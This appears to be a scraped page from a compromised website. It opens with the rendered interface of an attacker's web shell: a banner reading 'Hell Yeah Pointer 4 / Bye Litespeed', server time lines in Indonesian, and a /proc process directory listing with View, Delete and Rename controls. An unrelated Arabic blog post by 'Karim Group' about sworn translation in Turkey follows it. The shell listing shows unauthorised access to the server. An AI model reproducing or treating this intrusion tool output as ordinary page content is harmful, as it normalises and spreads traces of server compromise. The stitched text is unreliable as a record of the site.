Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-03 00:16:20
curdir: / / proc / 857975 / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 0 2026-03-02 19:05:03 0555
.. 0 2026-02-17 19:35:28 0555
attr 0 2026-03-02 19:06:26 0555
autogroup 0 2026-03-02 19:06:26 0644
auxv 0 2026-03-02 19:06:26 0400
cgroup 0 2026-03-02 19:06:26 0444
clear_refs 0 2026-03-02 19:06:26 0200
cmdline 0 2026-03-02 19:05:03 0444
comm 0 2026-03-02 19:06:26 0644
coredump_filter 0 2026-03-02 19:06:26 0644
cpu_resctrl_groups 0 2026-03-02 19:06:26 0444
cpuset 0 2026-03-02 19:06:26 0444
cwd 4096 2026-03-02 03:37:03 0755
environ 0 2026-03-02 19:06:26 0400
exe 6413664 2025-11-20 22:16:54 0755
fd 0 2026-03-02 19:06:26 0500
fdinfo 0 2026-03-02 19:06:26 0500
gid_map 0 2026-03-02 19:06:26 0644
io 0 2026-03-02 19:06:26 0444
limits 0 2026-03-02 19:06:26 0444
loginuid 0 2026-03-02 19:06:26 0644
map_files 0 2026-03-02 19:06:26 0500
maps 0 2026-03-02 19:06:26 0444
mem 0 2026-03-02 19:06:26 0600
mountinfo 0 2026-03-02 19:06:26 0444
mounts 0 2026-03-02 19:06:26 0444
mountstats 0 2026-03-02 19:06:26 0400
net 0 2026-03-02 19:06:25 0555
ns 0 2026-03-02 19:06:26 0511
numa_maps 0 2026-03-02 19:06:26 0444
oom_adj 0 2026-03-02 19:06:26 0644
oom_score 0 2026-03-02 19:06:26 0444
oom_score_adj 0 2026-03-02 19:06:26 0644
pagemap 0 2026-03-02 19:06:26 0400
patch_state 0 2026-03-02 19:06:26 0400
personality 0 2026-03-02 19:06:26 0400
projid_map 0 2026-03-02 19:06:26 0644
root 4096 2026-02-18 04:20:50 0755
sched 0 2026-03-02 19:06:26 0644
schedstat 0 2026-03-02 19:06:26 0444
sessionid 0 2026-03-02 19:06:26 0444
setgroups 0 2026-03-02 19:06:26 0644
smaps 0 2026-03-02 19:06:26 0444
smaps_rollup 0 2026-03-02 19:06:26 0444
stack 0 2026-03-02 19:06:26 0400
stat 0 2026-03-02 19:05:03 0444
statm 0 2026-03-02 19:05:04 0444
status 0 2026-03-02 19:05:03 0444
syscall 0 2026-03-02 19:06:26 0400
task 0 2026-03-02 19:05:05 0555
timens_offsets 0 2026-03-02 19:06:26 0644
timers 0 2026-03-02 19:06:26 0444
timerslack_ns 0 2026-03-02 19:06:26 0666
uid_map 0 2026-03-02 19:06:26 0644
wchan 0 2026-03-02 19:06:26 0444
مجموعة كريم - الترجمة المحلفة في تركيا – ما هي وما أهميتها

الترجمة المحلفة في تركيا – ما هي وما أهميتها

Blog Details

الترجمة المحلفة في تركيا – ما هي وما أهميتها

تعد الترجمة من اللغة الأجنبية إلى اللغة التركية من أكثر الخدمات التي يتم طلبها في تركيا، ولا شك أن أهمية ترجمة الأوراق الرسمية والحكومية يجب أن تكون من مترجم محلف في تركيا، يمكنه أن يترجم وثائقك التي تحتاجها باللغة التركية لتيسير معاملة ما في تركيا.

لذا في هذه المقالة سنتعرف عن الترجمة المحلفة في تركيا، وما هي وما أهميتها.

 

ما هي الترجمة المحلفة في تركيا؟

تعتبر الترجمة المحلفة بأنها هي الترجمة المعتمدة والترجمة المستوفية الدقيقة للعقود والوثائق والشهادات وغيرها من الأوراق الرسمية أو الخاصة التي تحمل الطابع القانوني وفق الشروط القانونية التي تضعها الحكومة التركية، مما يسمح باستخدامها في مؤسسات الدولة، ويتم التعامل بها بشكل رسمي، مع إقرار المترجم بمسؤوليته عن دقة الوثيقة التي تمت ترجمتها من اللغة الأجنبية إلى اللغة التركية.

 

من هو المترجم المحلف؟

الترجمان المحلف في تركيا هو شخص متخرج من إحدى أقسام اللغات الأجنبية أو قسم الترجمة، ويكون المترجم المحلف في تركيا متقنا اللغة التي سيترجم لها واللغة المترجم منها، ويكون مخول من كاتب العدل للترجمة الرسمية للوثائق القانونية وختم المترجم المحلف ذات صفة رسمية في المؤسسات الحكومية في الدولة.

 

ما الذي يجب على المترجم المحلف؟

يجب على الترجمان المحلف أن يتمتع بصفات عديدة، مثل الحفاظ على سرية المعلومات التي يترجمها، والانضباط الذاتي، والموثوقية والأمانة المطلقة في نقل المعلومات من لغة إلى أخرى، بالإضافة إلى ضرورة إتقان اللغات بتفاصيلها الدقيقة ومصطلحاتها وعرفها، ومعرفة التشريعات ذات الصلة، وامتلاك القدرة على تحديد أولويات الأوصاف الوظيفية المتعددة.

 

ما هي الشروط المطلوبة لأكون مترجم محلف؟

لكي تكون مترجم محلف في تركيا عليك أن تستوفي شروط المترجم المحلف في تركيا، ومعرفة المعايير المطلوبة التي تحددها المؤسسات التركية، وهذه الشروط هي:

  • أن تكون مواطنا تركيا، أو حاملا للجنسية التركية.
  • الحصول على شهادة تخرج من أقسام اللغات الأجنبية، أو أقسام الترجمة في الجامعات التركية، أو الجامعات التي تعترف بشهادتها الحكومة التركية.
  • الحصول على وثيقة اختبار تثبت إمكانيتك في إتقان اللغة الأجنبية التي تريد أن تترجم منها إلى اللغة التركية.
  • التقديم لدى كاتب العدل بدرجة البكالوريوس وشهادة إتقان اللغة الأجنبية.
  • أن تؤدي اليمين أمام كاتب العدل.

 

ما هي أهمية الترجمة المحلفة في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

يمكنكم الحصول على خدمة الترجمة المحلفة من مجموعة كريم للاستشارات القانونية.

 

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.

 

اقرأ أيضا:

خدمة الترجمة في تركيا